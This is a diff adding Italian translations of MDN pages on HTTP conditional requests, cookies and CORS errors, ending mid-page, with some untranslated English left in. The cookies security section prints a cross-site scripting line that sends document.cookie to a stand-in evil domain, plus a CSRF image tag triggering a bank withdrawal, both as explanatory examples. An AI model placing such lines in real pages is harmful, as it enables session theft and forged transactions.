+ <li><em>La validazione debole</em> èser-agent only needs to determine if the two resources have the same content. This is even if they are minor differences; like different ads, or a footer with a different date.</li>
+</ul>
+
+<p>Il tipo di validazione è indipendente dal validatore usato. Sia {{HTTPHeader("Last-Modified")}} che {{HTTPHeader("ETag")}} permettono entrambi i tipi di validazione, anche se la complessità per implentarli nel lato server può variare. HTTP usa la validazione forte di default, e specifica quando la validazione debole può essere usata.</p>
+
+<h3 id="Validazione_forte">Validazione forte</h3>
+
+<p id="sect1">La validazione forte consiste nel garantire che la risorsa è, byte per byte, uguale a quella a qui è comparata. Questo è mandatoria per alcuni header condizionali, e il default per altri. La validazione forte è molto stringente e può essere difficile da garantire a livello server, ma garantisce che non ci siano perdite di dati, a volte a spese delle peroformace.</p>
+
+<p>E' abbastanza difficile avere un identificatore unico per la validazione forte con {{HTTPHeader("Last-Modified")}}. Spesso questo è fatto usando un {{HTTPHeader("ETag")}} con il MD5 hash della risorsa (o una derivata).</p>
+
+<h3 id="Validazione_debole">Validazione debole</h3>
+
+<p>La validazione debole è diversa dalla validazione forte, perchè considera due versioni del documento uguali se il loro contenuto è uguale. Per esempio,una pagina risulterebbe diversa da un altra solo con una data diversa nel footer, o un advertising diverso, verrebbe considerata uguale con la validazione debole. Queste due versioni sono considerate <em>diverse</em> quando si usa la validazione forte. Creare un sistema di etags che crea validazione debole può essere complesso, perchè involve sapere l'importaza dei diversi elementi della pagina, ma è molto utile per ottimizzare le performance della cache.</p>
+
+<h2 id="Headers_condizionali">Headers condizionali</h2>
+
+<p>Diversi HTTP header, chiamati header condizionali, portano a richieste condizionali. Queste sono:</p>
+
+<dl>
+ <dt>{{HTTPHeader("If-Match")}}</dt>
+ <dd>Ha sucesso se l'{{HTTPHeader("ETag")}} della risorsa remota è uguale a quello incluso in questo header. Di default, a meno che l'etag sia preceduto con <code>'W/'</code>, compie una validazione forte.</dd>
+ <dt>{{HTTPHeader("If-None-Match")}}</dt>
+ <dd>Ha successo se l'{{HTTPHeader("ETag")}} of the distant resource is different to each listed in this header. By default, unless the etag is prefixed with <code>'W/'</code>, it performs a strong validation.</dd>
+ <dt>{{HTTPHeader("If-Modified-Since")}}</dt>
+ <dd>Ha successo se la data {{HTTPHeader("Last-Modified")}} della risorsa remota è più recente .</dd>
+ <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
+ <dd>Ha successo se la data {{HTTPHeader("Last-Modified")}} della risorsa remota è più vecchia o la stessa dell'header.</dd>
+ <dt>{{HTTPHeader("If-Range")}}</dt>
+ <dd>Simile a {{HTTPHeader("If-Match")}}, o {{HTTPHeader("If-Unmodified-Since")}}, ma può avere solo un singolo etag, o una data. Se fallisce, la richiesta range fallisce, e invece di una risposta {{HTTPStatus("206")}} <code>Partial Content</code>, un {{HTTPStatus("200")}} <code>OK</code> è mandato con la risorsa completa.</dd>
+</dl>
+
+<h2 id="Casi_duso">Casi d'uso</h2>
+
+<h3 id="Cache_update">Cache update</h3>
+
+<p>L'uso più comune per le richieste condizionali è aggiornare la cache. Con una cache vuota, o senza una cache, la risorsa richiesta è mandata iindietro con uno stato di {{HTTPStatus("200")}} <code>OK</code>.</p>
+
+<p><img alt="The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled." src="https://mdn.mozillademos.org/files/13729/Cache1.png"></p>
+
+<p>Insieme con la risorsa, i validatori sono mandato con gli header. In questo esempuo, entrambi {{HTTPHeader("Last-Modified")}} e {{HTTPHeader("ETag")}} sono mandati, ma sarebbe stato lo stesso anche se solo uno dei due fosse stato inviato. Questi validatori sono memorizzati nella cache insieme alla risorsa (come tutti gli headers) e saranno usati per creare le richieste condizionali, una volta che la cache diventa obsoleta.</p>
+
+<p>Finche la cache non è obsoleta, non vengono emesse richieste. Ma una volta che diventa obsoleta, questo è controllato principalmente dall'header {{HTTPHeader("Cache-Control")}}, il client non usa il valore nella cache direttamente ma richiede una <em>conditional request</em>. Il valore del validatore è usato come parametro delgli header {{HTTPHeader("If-Modified-Since")}} e {{HTTPHeader("If-Match")}}.</p>
+
+<p>Se la risorsa non è cambiata, il server ritorna una risposta {{HTTPStatus("304")}} <code>Not Modified</code>. Questo rende la cache nuova, e il client usa la risorsa contenuta nella cache. Anche se c'è un ciclo di richiesta/risposta che consuma alcune risorse, questo è più efficiente di trasmettere di nuovo l'intera risorsa  attraverso la rete.</p>
+
+<p><img alt="With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same." src="https://mdn.mozillademos.org/files/13731/HTTPCache2.png" style="height: 265px; width: 741px;"></p>
+
+<p>Se la risorsa è cambiata, il server invia semplicemente un {{HTTPStatus("200")}}}. OK risposta, con la nuova versione della risorsa, come se la richiesta non fosse condizionata e il cliente usa questa nuova risorsa (e la mette in cache).</p>
+
+<p><img alt="In the case where the resource was changed, it is sent back as if the request wasn't conditional." src="https://mdn.mozillademos.org/files/13733/HTTPCache3.png"></p>
+
+<p>Oltre all'impostazione dei validatori sul lato server, questo meccanismo è trasparente: tutti i browser gestiscono una cache e inviano tali richieste condizionali senza alcun lavoro speciale da parte degli sviluppatori Web.</p>
+
+<h3 id="Integrità_di_un_download_parziale">Integrità di un download parziale</h3>
+
+<p>Il download parziale dei file è una funzionalità di HTTP che permette di riprendere le operazioni precedenti, risparmiando larghezza di banda e tempo, mantenendo le informazioni già ottenute:</p>
+
+<p><img alt="A download has been stopped and only partial content has been retrieved." src="https://mdn.mozillademos.org/files/16190/HTTPResume1.png" style="height: 397px; width: 764px;"></p>
+
+<p>Un server che supporta il download parziale lo trasmette inviando l'intestazione {{HTTPHeader ("Accept-Ranges")}}. Una volta che ciò accade, il client può riprendere il download inviando un'intestazione {{HTTPHeader("Ranges")}}} con gli intervalli mancanti:</p>
+
+<p><img alt="The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request." src="https://mdn.mozillademos.org/files/13737/HTTPResume2.png"></p>
+
+<p>Il principio è semplice, ma c'è un potenziale problema: se la risorsa scaricata è stata modificata tra i due download, gli intervalli ottenuti corrisponderanno a due diverse versioni della risorsa e il documento finale sarà corrotto.</p>
+
+<p>Per evitare che ciò avvenga, vengono utilizzate richieste condizionate. Per le gamme, ci sono due modi per farlo. Quello più flessibile utilizza {{HTTPHeader("If-Unmodified-Since")}}} e {{HTTPHeader("If-Match")}} e il server restituisce un errore se la precondizione fallisce; il client quindi riavvia il download dall'inizio:</p>
+
+<p><img alt="When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely." src="https://mdn.mozillademos.org/files/13739/HTTPResume3.png"></p>
+
+<p>Anche se questo metodo funziona, aggiunge un ulteriore scambio di risposte/richieste quando il documento è stato modificato. Questo compromette le prestazioni, e HTTP ha un'intestazione specifica per evitare questo scenario: {{HTTPHeader("If-Range")}}:</p>
+
+<p><img alt="The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download." src="https://mdn.mozillademos.org/files/13741/HTTPResume4.png" style="height: 263px; width: 770px;"></p>
+
+<p>Questa soluzione è più efficiente, ma leggermente meno flessibile, in quanto è possibile utilizzare un solo etag nella condizione. Raramente è necessaria una tale flessibilità aggiuntiva.</p>
+
+<h3 id="Evitare_il_problema_dellupdate_perso_con_un_blocco_ottimista">Evitare il problema dell'update perso con un blocco ottimista</h3>
+
+<p>Un'operazione comune nelle applicazioni Web è l'aggiornamento di un documento remoto. Questo è molto comune in qualsiasi file system o applicazione di controllo dei sorgenti, ma qualsiasi applicazione che permetta di memorizzare risorse remote necessita di un tale meccanismo. I siti Web comuni, come i wiki e altri CMS, hanno tale necessità.</p>
+
+<p>Con il metodo {{HTTPMethod("PUT")}} si è in grado di implementarlo. Il client prima legge i file originali, li modifica e infine li spinge sul server:</p>
+
+<p><img alt="Updating a file with a PUT is very simple when concurrency is not involved." src="https://mdn.mozillademos.org/files/13743/HTTPLock1.png"></p>
+
+<p>Purtroppo le cose diventano un po' imprecise non appena si tiene conto della concorrenza. Mentre un cliente sta modificando localmente la sua nuova copia della risorsa, un secondo cliente può recuperare la stessa risorsa e fare lo stesso sulla sua copia. Quello che succede dopo è molto spiacevole: quando si impegnano nuovamente sul server, le modifiche del primo client vengono scartate dal push del client successivo, in quanto questo secondo client non è a conoscenza delle modifiche apportate alla risorsa dal primo client. La decisione su chi vince non viene comunicata all'altra parte. Quali modifiche del client devono essere mantenute, variano in funzione della velocità con cui vengono effettuate; questo dipende dalle prestazioni dei client, del server e anche dell'operatore che modifica il documento presso il client. Il vincitore cambierà da una volta all'altra. Questo è un {{glossary ("race condition")}} e porta a comportamenti problematici, difficili da rilevare e da fare il debug:</p>
+
+<p><img alt="When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!" src="https://mdn.mozillademos.org/files/13749/HTTPLock2.png" style="height: 504px; width: 904px;"></p>
+
+<p>Non c'è modo di affrontare questo problema senza infastidire uno dei due client. Tuttavia, gli aggiornamenti persi e le condizioni di gara sono da evitare. Vogliamo risultati prevedibili e ci aspettiamo che i clienti siano avvisati quando le loro modifiche vengono respinte.</p>
+
+<p>Le richieste condizionali permettono di implementare l'algoritmo di blocco ottimistico (utilizzato dalla maggior parte dei wiki o dai sistemi di controllo delle sorgenti). Il concetto è quello di permettere a tutti i client di ottenere copie della risorsa, quindi lasciarli modificare localmente, controllando la concorrenza permettendo al primo client di presentare un aggiornamento. Tutti gli aggiornamenti successivi, basati sulla versione ormai obsoleta della risorsa, vengono respinti:</p>
+
+<p><img alt="Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error." src="https://mdn.mozillademos.org/files/13751/HTTPLock3.png" style="height: 471px; width: 904px;"></p>
+
+<p>Questo è implementato utilizzando le intestazioni {{HTTPHeader("If-Match")}}} o {{HTTPHeader("If-Unmodified-Since")}}}. Se l'etag non corrisponde al file originale, o se il file è stato modificato da quando è stato ottenuto, la modifica viene semplicemente rifiutata con un {{HTTPStatus("412")}}} <code>Precondition Failed</code> error. petta poi al cliente affrontare l'errore: o notificando all'utente di ricominciare da capo (questa volta sulla versione più recente), o mostrando all'utente una <em>diff </em>di entrambe le versioni, aiutandolo a decidere quali modifiche desidera mantenere.</p>
+
+<h3 id="Gestire_il_primo_upload_di_una_risorsa">Gestire il primo upload di una risorsa</h3>
+
+<p>Il primo caricamento di una risorsa è un caso limite del precedente. Come ogni aggiornamento di una risorsa, è soggetto a una condizione di gara se due clienti cercano di eseguire in tempi simili.Per evitare questo, le richieste condizionate possono essere utilizzate: aggiungendo {{HTTPHeader("If-None-Match")}} con il valore speciale di <code>'*'</code>, che rappresenta un qualsiasi etag. La richiesta avrà successo, solo se la risorsa non esisteva prima:</p>
+
+<p><img alt="Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it." src="https://mdn.mozillademos.org/files/13753/HTTPFirst.png" style="height: 311px; width: 895px;"></p>
+
+<p><code>If-None-Match</code> funzionerà solo con server conformi a HTTP/1.1 (e successivi). Se non si è sicuri che il server sarà conforme, è necessario prima emettere una richiesta {{HTTPMethod("HEAD")}} alla risorsa per verificarlo.</p>
+
+<h2 id="Conclusione">Conclusione</h2>
+
+<p>Le richieste condizionali sono una caratteristica chiave di HTTP, e permettono la construzione di efficienti e complicate applicazioni. Per il caching o la ripresa dei download, l'unico lavoro richiesto per i webmaster è quello di configurare correttamente il server; impostare gli etags corretti in alcuni ambienti può essere complicato. Una volta raggiunto, il browser servirà le richieste condizionali previste.</p>
+
+<p>Per i meccanismi di chiusura, è l'opposto: Gli sviluppatori web devono emettere una richiesta con le intestazioni appropriate, mentre i webmaster possono per lo più fare affidamento sull'applicazione per effettuare i controlli per loro.</p>
+
+<p>In entrambi i casi è chiaro, le richieste condizionali sono una caratteristica fondamentale del Web.</p>
diff --git a/files/it/web/http/cookies/index.html b/files/it/web/http/cookies/index.html
new file mode 100644
index 0000000000..6514b2fef7
--- /dev/null
+++ b/files/it/web/http/cookies/index.html
@@ -0,0 +1,193 @@
+---
+title: HTTP cookies
+slug: Web/HTTP/Cookies
+tags:
+  - HTTP
+  - cookie
+  - httponly
+  - samesite
+  - secure
+translation_of: Web/HTTP/Cookies
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><span class="seoSummary">Un cookie HTTP (web cookie, cookie del browser) è un piccolo pezzo di dati che il server invia al browser dell'utente. Il browser può memorizzarlo e inviarlo allo stesso server nelle richieste successive. Tipicamente è utilizzato per stabilire se due richieste provengono dallo stesso browser, mantenendo ad esempio un utente loggato. Fornisce quindi informazioni <em>stateful</em> sopra al protocollo</span> <a href="/en-US/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless">stateless</a> HTTP.</p>
+
+<p>I cookie sono principalmente usati per tre funzionalità:</p>
+
+<dl>
+ <dt>Gestione della sessione</dt>
+ <dd>Login, carrello della spesa, punteggio dei giochi o qualsiasi altra cosa che il server deve ricordare</dd>
+ <dt>Personalizzazione</dt>
+ <dd>Preferenze dell'utente, temi e altre impostazioni</dd>
+ <dt>Tracciamento</dt>
+ <dd>Registrare e analizzare il comportamento dell'utente</dd>
+</dl>
+
+<p>Una volta i cookie venivano utilizzati come storage client-side. Anche se questo era concesso quando i cookie erano l'unico mezzo per salvare dati nel client, al giorno d'oggi è consigliato utilizzare le moderne API di salvataggio. I cookie sono inviati ad ogni richiesta, riducendo quindi le performance (specialmente nel caso di connessioni mobile). Le API di salvataggio moderne sono le cosidette <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> e <code>sessionStorage</code>) e <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>
+
+<div class="note">
+<p>Per visualizzare i cookie salvati (e altri dati salvati che la pagina web può utilizzare) puoi abilitare lo <a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector</a> nei Developer Tools e selezionare Cookie dall'albero dello storage.</p>
+</div>
+
+<h2 id="Creare_i_cookie">Creare i cookie</h2>
+
+<p>Quando una richiesta HTTP viene ricevuta, il server può rispondere con l'header HTTP {{HTTPHeader("Set-Cookie")}}. Il cookie viene solitamente memorizzato dal browser e inviato in ogni successiva richiesta allo stesso server tramite l'header HTTP {{HTTPHeader("Cookie")}}.  Una "data di scadenza" o durata può essere specificata, dopo la quale il cookie non viene più inviato. In aggiunta, restrizioni ad uno specifico dominio o percorso possono essere impostate, limitando le richieste nelle quali il cookie viene inviato.</p>
+
+<h3 id="Gli_header_Set-Cookie_e_Cookie">Gli header <code>Set-Cookie</code> e <code>Cookie</code></h3>
+
+<p>L'header di risposta HTTP {{HTTPHeader("Set-Cookie")}} invia i cookie dal server all'utente. Un semplice cookie viene impostato come segue:</p>
+
+<pre class="syntaxbox">Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;</pre>
+
+<p>Questo header inviato dal server viene uilizzato per salvare un cookie nel client.</p>
+
+<div class="note"><strong>Nota:</strong> Come usare l'header <code>Set-Cookie</code>  in varie applicazioni server-side:
+
+<ul>
+ <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li>
+ <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li>
+ <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li>
+ <li><a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li>
+</ul>
+</div>
+
+<pre>HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]</pre>
+
+<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">Ora, in ogni nuova richiesta al server, il browser invierà indietro, utilizzando l'header {{HTTPHeader("Cookie")}}, tutti i cookie precedentemente ricevuti dal server.</p>
+
+<pre>GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre>
+
+<h3 id="Cookie_di_sessione">Cookie di sessione</h3>
+
+<p>Il cookie creato sopra è un <em>cookie di sessione</em>: è cancellato quando il client termina, perchè non è stata specificata nessuna direttiva <code>Expires</code> o <code>Max-Age</code>. Tuttavia il browser potrebbe usare il recupero di sessione e rendere il cookie di sessione permanente, come se il client non si disconnettesse.</p>
+
+<h3 id="Cookie_permanenti">Cookie permanenti</h3>
+
+<p>Invece di scadere quando il client termina, i <em>cookie permanenti </em> scadono in un periodo specifico (<code>Expires</code>) o dopo uno specifico intervallo di tempo (<code>Max-Age</code>).</p>
+
+<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Quando viene impostata una data di scadenza, l'ora e la data impostate sono relative al client su cui è impostato il cookie, non al server.</p>
+</div>
+
+<h3 id="Cookie_Secure_e_HttpOnly">Cookie <code>Secure</code> e <code>HttpOnly</code></h3>
+
+<p>Un cookie sicuro viene inviato al server solo con una richiesta cifrata con il protocollo HTTPS. Anche con la direttiva <code>Secure</code>, informazioni sensibili non dovrebbero <em>mai </em>essere memorizzate nei cookie, siccome sono intrinsecamente non sicuri e questo flag non offre una protezione robusta. sensitive information should <em>never</em> be stored in cookies, as they are inherently insecure and this flag can't offer real protection. A partire da Chrome 52 e Firefox 52, siti non sicuri (<code>http:</code>) non possono impostare cookie con la direttiva <code>Secure</code>.</p>
+
+<p>Per evitare attacchi di tipo cross-site scripting ({{Glossary("XSS")}}), i cookie impostati con la direttiva <code>HttpOnly</code> sono inaccessibili all'API {{domxref("Document.cookie")}} di JavaScript; vengono solamente inviati al server. Ad esempio, i cookie di sessione non hanno necessità di essere acceduti da JavaScript e dovrebbero per questo essere impostati con il flag <code>HttpOnly</code>.</p>
+
+<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre>
+
+<h3 id="Scope_dei_cookie">Scope dei cookie</h3>
+
+<p>Le direttive <code>Domain</code> e <code>Path</code> definiscono lo scope del cookie: a quale URL il cookie dovrebbe essere inviato.</p>
+
+<p><code>Domain</code> specifica i domini consentiti a ricevere il cookie. Se non specificato, il valore di default corrisponde alla posizione corrente del documento, <strong>esclusi i sottodomini</strong>. Se <code>Domain</code> è specificato, i sottodomini sono sempre inclusi.</p>
+
+<p>Ad esempio, se viene impostato <code>Domain=mozilla.org</code> , il cookie viene incluso in tutti i sottodomini come <code>developer.mozilla.org</code>.</p>
+
+<p><code>Path</code> indica un percorso URL che deve esistere nell'URL richiesto al fine di inviare il cookie tramite l'header <code>Cookie</code>. Il carattere %x2F ("/") è considerato un separatore di directory e anche le sottodirectory avranno un match.</p>
+
+<p>Ad esempio, se viene impostato <code>Path=/docs</code>, questi pattern avranno una corrispondenza:</p>
+
+<ul>
+ <li><code>/docs</code></li>
+ <li><code>/docs/Web/</code></li>
+ <li><code>/docs/Web/HTTP</code></li>
+</ul>
+
+<h3 id="Cookie_SameSite_experimental_inline">Cookie <code>SameSite</code> {{experimental_inline}}</h3>
+
+<p>I cookie <code>SameSite</code> richiedono ad un browser che il cookie non venga inviato attraverso una richiesta cross-site, che può proteggere da attacchi di tipo cross-site request forgery ({{Glossary("CSRF")}}). I cookie <code>SameSite</code> sono ancora in fase di sperimentazione e non ancora supportati da tutti i browser.</p>
+
+<h3 id="JavaScript_access_using_Document.cookie">JavaScript access using <code>Document.cookie</code></h3>
+
+<p>I nuovi cookie possono anche essere creati tramite JavaScript usando la proprietà {{domxref ("Document.cookie")}}, e se il flag HttpOnly non è impostato, i cookie esistenti sono accessibili anche da JavaScript.</p>
+
+<pre class="brush: js">document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre>
+
+<p>Per favore considera i problemi di sicurezza mostrati nella sezione <a href="/en-US/docs/Web/HTTP/Cookies#Security">Security</a> qua sotto. I cookie disponibili al JavaScript possono essere rubati attraverso {{Glossary ("XSS")}}.</p>
+
+<h2 id="Sicurezza">Sicurezza</h2>
+
+<div class="note">
+<p>Le informazioni riservate o sensibili non dovrebbero mai essere archiviate o trasmesse tramite i cookie HTTP, poiché l'intero meccanismo è intrinsecamente insicuro.</p>
+</div>
+
+<h3 id="Furto_di_sessione_e_XSS">Furto di sessione e XSS</h3>
+
+<p>I cookie vengono spesso utilizzati nelle applicazioni web per identificare un utente e la relativa sessione autenticata, pertanto il furto di un cookie può comportare il "dirottamento" della sessione dell'utente autenticato. I metodi più comuni per rubare i cookie includono l'ingegneria sociale o l'utilizzo di una vulnerabilità {{Glossary ("XSS")}} nell'applicazione.</p>
+
+<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre>
+
+<p>L'attributo <code>HttpOnly</code> dei cookie può aiutare a mitigare questo attacco prevenendo l'accesso al cookie attraverso il JavaScript.</p>
+
+<h3 id="Cross-site_request_forgery_(CSRF)">Cross-site request forgery (CSRF)</h3>
+
+<p><a href="https://it.wikipedia.org/wiki/Cookie#Cross-site_request_forgery">Wikipedia</a> menziona un buon esempio per {{Glossary("CSRF")}}. In questa situazione, qualcuno include un'immagine che non è veramente un'immagine (per esempio in una chat o forum non filtrato), ma che in realtà è una richiesta di prelievo di contante al server della banca:</p>
+
+<pre class="brush: html">&lt;img src="http://bank.example.com/withdraw?account=bob&amp;amount=1000000&amp;for=mallory"&gt;</pre>
+
+<p>Ora, se l'utente ha effettuato l'accesso al conto bancario e i cookie sono validi (e non ci sono altre convalide), il trasferimento di denaro avverrà non appena il codice HTML che contiene questa immagine verrà interpretato. Esistono alcune tecniche utilizzate per impedire che ciò accada:</p>
+
+<ul>
+ <li>Come per {{Glossary("XSS")}}, filtrare l'input è importante.</li>
+ <li>Ci dovrebbe sempre essere una richiesta di conferma per qualsiasi azione sensibile.</li>
+ <li>I cookie che sono utilizzati per azioni sensibili dovrebbero avere durata ridotta.</li>
+ <li>Per altri suggerimenti, visitare <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>.</li>
+</ul>
+
+<h2 id="Tracciamento_e_privacy">Tracciamento e privacy</h2>
+
+<h3 id="Cookie_di_terze_parti">Cookie di terze parti</h3>
+
+<p>I cookie hanno un dominio ad essi associato. Se questo dominio è uguale al dominio della pagina in cui ci si trova, si dice che i cookie siano cookie <em>first-party</em>. Se il dominio è diverso, si dice che sia un cookie di terze parti. Mentre i cookie proprietari (<em>first-party)</em> vengono inviati solo al server che li imposta, una pagina web può contenere immagini o altri componenti memorizzati su server in altri domini (come i banner pubblicitari). I cookie inviati tramite questi componenti di terze parti sono denominati cookie di terze parti e vengono principalmente utilizzati per la pubblicità e il monitoraggio sul web. Vedi ad esempio i <a href="https://www.google.com/policies/technologies/types/">tipi di cookie utilizzati da Google</a>. La maggior parte dei browser consente l'utlizzo dei cookie di terze parti di default, ma sono disponibili componenti aggiuntivi per bloccarli (ad esempio, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> di <a href="https://www.eff.org/">EFF</a>).</p>
+
+<p>Se non stai divulgando informazioni riguardanti i cookie di terze parti, la fiducia dei consumatori potrebbe essere danneggiata se ne viene  scoperto l'utilizzo. Una chiara informativa (come in una politica sulla privacy) tende ad eliminare qualsiasi effetto negativo. Alcuni paesi hanno anche una legislazione sui cookie. Vedi ad esempio la <a href="https://wikimediafoundation.org/wiki/Cookie_statement">dichiarazione sui cookie</a> di Wikimedia Foundation.</p>
+
+<h3 id="Do-Not-Track">Do-Not-Track</h3>
+
+<p>Sebbene non ci siano requisiti legali o tecnologici per il suo utilizzo, l'header HTTP {{HTTPHeader ("DNT")}} può essere utilizzato per segnalare che un'applicazione web deve disabilitare sia il suo tracciamento che il tracciamento cross-site del singolo utente. Vedi l'header {{HTTPHeader ("DNT")}} per maggiori informazioni.</p>
+
+<h3 id="Direttiva_UE_riguardante_i_cookie">Direttiva UE riguardante i cookie</h3>
+
+<p>I requisiti per i cookie in tutta l'UE sono definiti nella direttiva 2009/136/EC del Parlamento europeo e sono entrate in vigore il 25 Maggio 2011. Una direttiva non è una legge di per sé, ma un requisito per gli stati membri dell'UE di mettere in atto leggi che soddisfino i requisiti della direttiva. Le leggi effettive possono differire da paese a paese.</p>
+
+<p>In breve la direttiva UE dice che prima che qualcuno possa memorizzare o recuperare qualsiasi informazione da un computer, dispositivo mobile o altro dispositivo, l'utente deve dare esplicito consenso al farlo. Molti siti web hanno aggiunto banner (Cookie banner) per informare gli utenti riguardo l'utilizzo dei cookie.</p>
+
+<p>Per altro, leggi <a href="https://it.wikipedia.org/wiki/Cookie#La_nuova_legislazione_europea:_il_GDPR">questa sezione di Wikipedia </a>e consulta le leggi locali per le ultime e più accurate informazioni.</p>
+
+<h3 id="Zombie_cookies_and_Evercookies">Zombie cookies and Evercookies</h3>
+
+<p>Un approccio più radicale ai cookie sono i cookie zombie e gli evercookie, che vengono ricreati appena cancellati e sono volutamente difficili da cancellare. Sfruttano le <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a>, Flash Local Shared Objects e altre tecniche per ricreare se stessi quando l'assanza del cookie viene rilevata.</p>
+
+<ul>
+ <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies on Wikipedia</a></li>
+</ul>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{HTTPHeader("Set-Cookie")}}</li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+ <li>{{domxref("Navigator.cookieEnabled")}}</li>
+ <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li>
+ <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Nicholas Zakas article on cookies</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Nicholas Zakas article on cookies and security</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li>
+</ul>
diff --git a/files/it/web/http/cors/errors/corsdidnotsucceed/index.html b/files/it/web/http/cors/errors/corsdidnotsucceed/index.html
new file mode 100644
index 0000000000..649cd4967e
--- /dev/null
+++ b/files/it/web/http/cors/errors/corsdidnotsucceed/index.html
@@ -0,0 +1,36 @@
+---
+title: 'Motivo : Richiesta CORS Fallita'
+slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+tags:
+  - CORS
+  - CORSDidNotSucceed
+  - Cross-Origin
+  - Errore
+  - HTTP
+  - HTTPS
+  - Messaggi
+  - Motivazioni
+  - Risoluzione Problemi
+  - Sicurezza
+  - console
+translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Motivazione">Motivazione</h2>
+
+<pre class="syntaxbox">Motivo : Richiesta CORS Fallita</pre>
+
+<h2 id="Cosa_è_andato_storto">Cosa è andato storto?</h2>
+
+<p>La richiesta HTTP che utilizza CORS non è andata a buon fine.</p>
+
+<p>La connessione HTTP ha fallito per problemi di rete o a livello di protocollo. L'errore non è direttamente imputabile a CORS, ma è un errore di rete di qualche tipo.</p>
+
+<h2 id="Vedi_Anche">Vedi Anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS: errori</a></li>
+ <li>Glossario: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS: introduzione</a></li>
+</ul>
diff --git a/files/it/web/http/cors/errors/corsmissingalloworigin/index.html b/files/it/web/http/cors/errors/corsmissingalloworigin/index.html
new file mode 100644
index 0000000000..aefad83858
--- /dev/null
+++ b/files/it/web/http/cors/errors/corsmissingalloworigin/index.html
@@ -0,0 +1,46 @@
+---
+title: 'Errore: CORS header ''Access-Control-Allow-Origin'' missing'
+slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin
+translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin
+---
+<h2 id="Motivo">Motivo</h2>
+
+<pre class="syntaxbox">Avviso: CORS header 'Access-Control-Allow-Origin' missing</pre>
+
+<h2 id="Cos'è_andato_storto">Cos'è andato storto?</h2>
+
+<p>La risposta alla richiesta {{Glossary("CORS")}} manca dell'intestazione {{HTTPHeader("Access-Control-Allow-Origin")}}, usata per determinare se è possibile accedere alla risorsa partendo dal contenuto che opera nell'origine corrente.</p>
+
+<p>Se il server è sotto il tuo controllo aggiungi l'origine del sito richiedente alla raccolta dei domini che hanno l'accesso all'intestazione <code>Access-Control-Allow-Origin</code>.</p>
+
+<p>Ad esempio, per permettere al sito https://amazing.site di accedere alla risorsa che fa uso di CORS, l'intestazione dovrebbe essere la seguente:</p>
+
+<pre>Access-Control-Allow-Origin: https://amazing.site</pre>
+
+<p>Puoi anche configurare un sito in modo che permetta l'accesso ad ogni altro sito usando il carattere jolly <code>"*"</code>. Da usare preferibilmente solo per API pubbliche. API private non dovrebbero far uso di <code>"*"</code> e dovrebbero avere un dominio specifico o un insieme di domini. In più il carattere jolly funziona solo per le richieste fatte con l'attributo {{htmlattrxref("crossorigin")}} impostato come <code>"anonymous"</code>.</p>
+
+<pre>Access-Control-Allow-Origin: *</pre>
+
+<div class="warning">
